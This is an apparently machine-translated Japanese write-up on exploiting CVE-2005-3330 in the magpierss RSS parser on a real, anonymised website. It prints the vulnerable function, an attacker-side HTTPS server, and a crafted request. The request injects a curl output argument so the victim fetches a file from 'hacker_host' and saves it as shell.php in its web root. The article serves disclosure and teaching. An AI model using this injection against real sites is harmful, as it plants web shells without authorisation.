古い脆弱性を悪用する例

すべてに良い! 私は、2016年に2006年以来の歴史を持つかなり人気のあるWebサイトで2016年に発見された1つの古い既知の脆弱性CVE-2005-3330の悪用についてお話したいと思います。 脆弱性のあるフレームワークがサイトから削除されるのを単に忘れていたと仮定することができますが、冗談ではないものは使用できます。



この記事は、情報セキュリティをマスターする初心者に役立つ場合があります。





だから。 この脆弱性はRSSパーサーmagpierss-0.72に存在します。これは、 Snoopyライブラリを使用しています。 エクスプロイトの例はこちらです。 しかし、彼は、非常に頻繁に起こるように、脆弱性がどのように悪用される可能性があるかを示唆するだけです。 脆弱性の説明は、脆弱性がユーザーデータの転送、つまりGET urlパラメーターのサードパーティWebサイトのhttpsアドレスに現れることを示しています。



脆弱な機能
function _httpsrequest($url,$URI,$http_method,$content_type="",$body="") { if($this->passcookies && $this->_redirectaddr) $this->setcookies(); $headers = array(); $URI_PARTS = parse_url($URI); if(empty($url)) $url = "/"; // GET ... header not needed for curl //$headers[] = $http_method." ".$url." ".$this->_httpversion; if(!empty($this->agent)) $headers[] = "User-Agent: ".$this->agent; if(!empty($this->host)) $headers[] = "Host: ".$this->host; if(!empty($this->accept)) $headers[] = "Accept: ".$this->accept; if(!empty($this->referer)) $headers[] = "Referer: ".$this->referer; if(!empty($this->cookies)) { if(!is_array($this->cookies)) $this->cookies = (array)$this->cookies; reset($this->cookies); if ( count($this->cookies) > 0 ) { $cookie_str = 'Cookie: '; foreach ( $this->cookies as $cookieKey => $cookieVal ) { $cookie_str .= $cookieKey."=".urlencode($cookieVal)."; "; } $headers[] = substr($cookie_str,0,-2); } } if(!empty($this->rawheaders)) { if(!is_array($this->rawheaders)) $this->rawheaders = (array)$this->rawheaders; while(list($headerKey,$headerVal) = each($this->rawheaders)) $headers[] = $headerKey.": ".$headerVal; } if(!empty($content_type)) { if ($content_type == "multipart/form-data") $headers[] = "Content-type: $content_type; boundary=".$this->_mime_boundary; else $headers[] = "Content-type: $content_type"; } if(!empty($body)) $headers[] = "Content-length: ".strlen($body); if(!empty($this->user) || !empty($this->pass)) $headers[] = "Authorization: BASIC ".base64_encode($this->user.":".$this->pass); for($curr_header = 0; $curr_header < count($headers); $curr_header++) { $cmdline_params .= " -H \"".$headers[$curr_header]."\""; } if(!empty($body)) $cmdline_params .= " -d \"$body\""; if($this->read_timeout > 0) $cmdline_params .= " -m ".$this->read_timeout; $headerfile = uniqid(time()); # accept self-signed certs $cmdline_params .= " -k"; exec($this->curl_path." -D \"/tmp/$headerfile\"".escapeshellcmd($cmdline_params)." ".escapeshellcmd($URI),$results,$return);
      
      





脆弱性を悪用するには:



  1. https経由でページをレンダリングするWebサイトが必要です。 PythonでこのようなWebサイトを5秒で構築できます。 https.pyスクリプトを作成します。



     import BaseHTTPServer, SimpleHTTPServer import ssl httpd = BaseHTTPServer.HTTPServer(('hacker_host', 443), SimpleHTTPServer.SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True) httpd.serve_forever()
          
          





    働くには、証明書が必要です。 次のコマンドを使用して自己署名証明書を作成します。



     openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
          
          





    https.pyスクリプトのルートに、 たとえば次のような興味深いコンテンツを含むindex.phpスクリプトを配置します。



     <?php echo("hello world!"); ?>
          
          





  2. urlパラメーターで必要なものを渡すためのパスを知る必要があります。



     http://<host:port>/<path>/usr/lib/magpierss-0.72/scripts/magpie_debug.php?url=
          
          





これで悪用できます。 私たちの場合、リクエストは次のとおりです。



 http://<host:port>/<path>/usr/lib/magpierss-0.72/scripts/magpie_debug.php?url=https://<hacker_host>/index.php -o"cache/../../../../../shell.php"
      
      





攻撃者のサイトhttps:// // <hacker_host:hacker_port> /index.phpのページアドレスを渡すurlパラメーターを使用して、脆弱な<host:port>サイトにhttp要求を行うことはどういう意味ですか 。 サイトがindex.phpファイルのコンテンツをサイトルートのshell.phpファイルに配置することが実験的に確立されました。 これで、 <host:port>の被害者のサイトにshell.phpスクリプトが含まれてます。 次のようにアクセスできます。



 http://<host:port>/shell.php
      
      





修正の推奨事項は、未使用のコードと古いフレームワークを削除し、バックドア、シェルコードなどについてサイトを確認することです。



サイト管理者は脆弱性を確認し、修復プロセスを開始しました。 匿名化された情報を含む記事を公開することが許可されました。



All Articles